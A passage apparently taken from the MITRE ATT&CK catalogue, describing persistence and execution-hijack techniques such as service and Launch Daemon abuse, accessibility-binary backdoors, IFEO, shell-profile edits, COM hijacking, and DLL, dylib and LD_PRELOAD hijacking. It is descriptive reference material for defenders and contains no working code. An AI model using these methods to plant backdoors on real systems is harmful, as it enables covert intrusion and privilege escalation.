Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.

While adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.

.003 - Windows Service

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.

Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.

Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: .sys) to disk, the payload can be loaded and registered via Native API functions such as CreateServiceW() (or manually via functions such as ZwLoadDriver() and ZwSetValueKey()), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as PnPUtil.exe. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation.

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).

.004 - Launch Daemon

Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.

Adversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. Masquerading). When the Launch Daemon is executed, the program inherits administrative permissions.

Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.

T1546 - Event Triggered Execution

Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.

Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.

Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.

.001 - Change Default File Association

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under `HKEY_CLASSES_ROOT.[extension]`, for example `HKEY_CLASSES_ROOT.txt`. The entries point to a handler for that extension located at `HKEY_CLASSES_ROOT\[handler]`. The various commands are then listed as subkeys underneath the shell key at `HKEY_CLASSES_ROOT\[handler]\shell\[action]\command`. For example:

- `HKEY_CLASSES_ROOT\txtfile\shell\open\command`
- `HKEY_CLASSES_ROOT\txtfile\shell\print\command`
- `HKEY_CLASSES_ROOT\txtfile\shell\printto\command`

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.

.002 – Screensaver

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. The Windows screensaver application scrnsave.scr is located in `C:\Windows\System32\`, and `C:\Windows\sysWOW64\` on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (`HKCU\Control Panel\Desktop\`) and could be manipulated to achieve persistence:

- `SCRNSAVE.exe` - set to malicious PE path
- `ScreenSaveActive` - set to '1' to enable the screensaver
- `ScreenSaverIsSecure` - set to '0' to not require a password to unlock
- `ScreenSaveTimeout` - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.

.003 - Windows Management Instrumentation Event Subscription

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.

Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.

WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.

.004 - Unix Shell Configuration Modification

Adversaries may establish persistence through executing malicious commands triggered by a user's shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (`/etc`) and the user's home directory (`~/`) to configure the environment. All login shells on a system use `/etc/profile` when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user's environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.

Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the `/etc/profile` and `/etc/profile.d` files. These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into `~/.bash_profile`, `~/.bash_login`, or `~/.profile` which are sourced when a user opens a command-line interface or connects remotely. Since the system only executes the first existing file in the listed order, adversaries have used `~/.bash_profile` to ensure execution. Adversaries have also leveraged the `~/.bashrc` file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface. Some malware targets the termination of a program to trigger execution, adversaries can use the `~/.bash_logout` file to execute malicious commands at the end of a session.

For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using `/etc/profile`, `/etc/zshenv`, `/etc/zprofile`, and `/etc/zlogin`. The login shell then configures the user environment with `~/.zprofile` and `~/.zlogin`. The interactive shell uses the `~/.zshrc` to configure the user environment. Upon exiting, `/etc/zlogout` and `~/.zlogout` are executed. For legacy programs, macOS executes `/etc/bashrc` on startup.

.005 – Trap

Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The `trap` command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like `ctrl+c` and `ctrl+d`.

Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format `trap 'command list' signals` where "command list" will be executed when "signals" are received.

.006 - LC_LOAD_DYLIB Addition

Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. There are tools available to perform these changes.

Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn't checked at load time.

.007 - Netsh Helper DLL

Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.[1] The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at `HKLM\SOFTWARE\Microsoft\Netsh`.

Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.

.008 - Accessibility Features

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are `C:\Windows\System32\sethc.exe`, launched when the shift key is pressed five times and `C:\Windows\System32\utilman.exe`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen.

Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `%systemdir%\`, and it must be protected by Windows File or Resource Protection (WFP/WRP). The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `C:\Windows\System32\utilman.exe`) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.

Other accessibility features exist that may also be leveraged in a similar fashion:

- On-Screen Keyboard: `C:\Windows\System32\osk.exe`
- Magnifier: `C:\Windows\System32\Magnify.exe`

- Narrator: C:\Windows\System32\Narrator.exe
- Display Switcher: C:\Windows\System32\DisplaySwitch.exe
- App Switcher: C:\Windows\System32\AtBroker.exe

.009 - AppCert DLLs

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec.

Similar to Process Injection, this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.

.010 - AppInit DLLs

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.

Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.

.011 - Application Shimming

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. [1]

Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- %WINDIR%\AppPatch\sysmain.sdb
- HKLM\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb

Custom databases are stored in:

- %WINDIR%\AppPatch\custom and %WINDIR%\AppPatch\AppPatch64\Custom
- HKLM\software\microsoft\windows nt\currentversion\appcompatflags\custom

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).

Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. Shims can also be abused to establish persistence by continuously being invoked by affected programs.

.012 - Image File Execution Options Injection

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application's IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe).

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached.

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\.

Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the "debugger" program to be executed with SYSTEM privileges.

Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications.

.013 - PowerShell Profile

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.

PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the `-NoProfile` flag is used when it is launched.

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.

.014 – Emond

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at `/sbin/emond` will load any rules from the `/etc/emond.d/rules/` directory and take action once an explicitly defined event takes place.

The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `/private/var/db/emondClients`, specified in the Launch Daemon configuration file at `/System/Library/LaunchDaemons/com.apple.emond.plist`.

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.

.015 - Component Object Model Hijacking

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

.016 - Installer Packages

Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.

Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS postinstall scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a Launch Daemon) with the elevated permissions.

Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include preinst, postinst, prerm, postrm scripts and run as root when executed.

For Windows, the Microsoft Installer services uses .msi files to manage the installing, updating, and uninstalling of applications. Adversaries have leveraged Prebuild and Postbuild events to run commands before or after a build when installing .msi files.

T1133 - External Remote Services

Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management and VNC can also be used externally.

Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as a redundant or persistent access mechanism during an operation.

Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.

T1574 - Hijack Execution Flow

Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.

.001 - DLL Search Order Hijacking

Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.

Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

.002 - DLL Side-Loading

Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.

.004 - Dylib Hijacking

Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with `@rpath`, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the `LC_LOAD_WEAK_DYLIB` function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path. Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.

.005 - Executable Installer File Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

.006 - Dynamic Linker Hijacking

Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as `LD_PRELOAD` on Linux or `DYLD_INSERT_LIBRARIES` on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.

On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the `export` command, `setenv` function, or `putenv` function. Adversaries can also leverage Dynamic Linker Hijacking to export variables in a shell or set variables programmatically using higher level syntax such Python’s `os.environ`.

On Linux, adversaries may set `LD_PRELOAD` to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. `LD_PRELOAD` can be set via the environment variable or `/etc/ld.so.preload` file. Libraries specified by `LD_PRELOAD` are loaded and mapped into memory by `dlopen()` and `mmap()` respectively.

On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the

DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.

.007 - Path Interception by PATH Environment Variable

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, `%SystemRoot%\system32` (e.g., `C:\Windows\system32`), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if `C:\example path` precedes `C:\Windows\system32` is in the PATH environment variable, a program that is named net.exe and placed in `C:\example path` will be called instead of the Windows system "net" when "net" is executed from the command-line.

.008 - Path Interception by Search Order Hijacking

Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike DLL Search Order Hijacking, the search order differs depending on the method that is used to execute the program. However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument `net user`. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then `cmd.exe /C net user` will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT.

Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.

.009 - Path Interception by Unquoted Path

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

Service paths and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program.

This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

.010 - Services File Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

.011 - Services Registry Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions.

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.

The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL. If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.

Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities. Additionally, If adversaries launch their malicious services using svchost.exe, the service's file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.

.012 - COR_PROFILER

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.

The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.

Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim .NET process executes at a higher permission level, as well as to hook and Impair Defenses provided by .NET processes.

.013 – KernelCallbackTable

Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads. The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.

An adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as Reflective Code Loading or Process Injection into another process.

A pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() Native API function). Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.

The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload. Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.

T1525 - Implant Internal Image

